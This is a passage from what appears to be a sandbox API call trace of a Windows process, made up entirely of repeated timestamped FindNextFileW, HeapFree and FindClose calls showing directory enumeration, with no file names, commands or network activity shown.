hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.311] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.311] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0255.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.311] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.313] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.313] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.313] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x451c758 | out: hHeap=0x640000) returned 1 [0255.314] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.314] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.314] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.314] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.316] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.316] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.318] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.439] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.439] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x453c768 | out: hHeap=0x640000) returned 1 [0255.442] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0255.442] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0255.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.443] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.444] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.447] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0255.450] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0255.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x451c758 | out: hHeap=0x640000) returned 1 [0255.450] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0255.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.451] FindNextFileW (in: hFindFile=0x380caa0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.451] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0255.451] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0255.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.458] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.467] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4568c18 | out: hHeap=0x640000) returned 1 [0255.467] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0255.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x451c758 | out: hHeap=0x640000) returned 1 [0255.473] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0256.078] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0256.078] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0256.100] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0256.100] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0256.100] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x452c760 | out: hHeap=0x640000) returned 1 [0256.100] FindNextFileW (in: hFindFile=0x380c7a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0256.128] FindClose (in: hFindFile=0x380c7a0 | out: hFindFile=0x380c7a0) returned 1 [0256.347] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x451c758 | out: hHeap=0x640000) returned 1 [0256.347] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0256.674] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0256.674] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.687] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0256.687] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.690] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0256.690] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.691] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0256.691] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0256.693] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.694] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0256.696] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0256.696] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0256.698] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0256.698] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0256.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0256.801] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0257.905] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0257.905] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0257.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0257.907] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0257.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0257.912] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0257.912] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0257.912] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0257.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0257.913] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0257.917] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0257.918] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0257.918] FindClose (in: hFindFile=0x380c9e0 | out: hFindFile=0x380c9e0) returned 1 [0257.918] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0257.918] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0257.924] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.924] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0257.929] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0257.929] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0258.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0258.556] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0258.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0258.564] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0258.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0258.566] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0258.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0258.570] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0258.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0258.571] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0258.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0258.571] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0258.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0258.571] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0258.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0258.572] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0260.078] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.078] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.082] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.082] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.087] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.087] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.091] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.091] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.098] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.101] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.101] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.105] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.109] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.448] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.732] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.733] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.734] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.735] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.736] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.736] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.738] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.738] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.740] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.740] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.741] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.742] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.743] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.743] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.745] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.745] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.747] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.747] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.749] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.749] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.751] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.751] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.752] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.752] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.772] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.777] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0260.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0260.783] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.771] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.771] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.774] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.775] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.790] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.792] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.793] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.794] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.794] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.796] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.797] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.798] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.800] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.801] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.802] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.804] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.805] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.908] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.908] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.913] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.913] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.950] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.950] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.953] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0261.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45c9450 | out: hHeap=0x640000) returned 1 [0261.957] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0261.957] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0261.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45b9448 | out: hHeap=0x640000) returned 1 [0261.957] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0261.958] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0261.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0261.958] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0261.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0261.965] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0262.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.148] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.150] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.152] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.153] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.155] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.155] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.156] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.156] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.158] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.158] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.160] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.160] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.163] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0262.167] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0262.169] HeapFree (in: 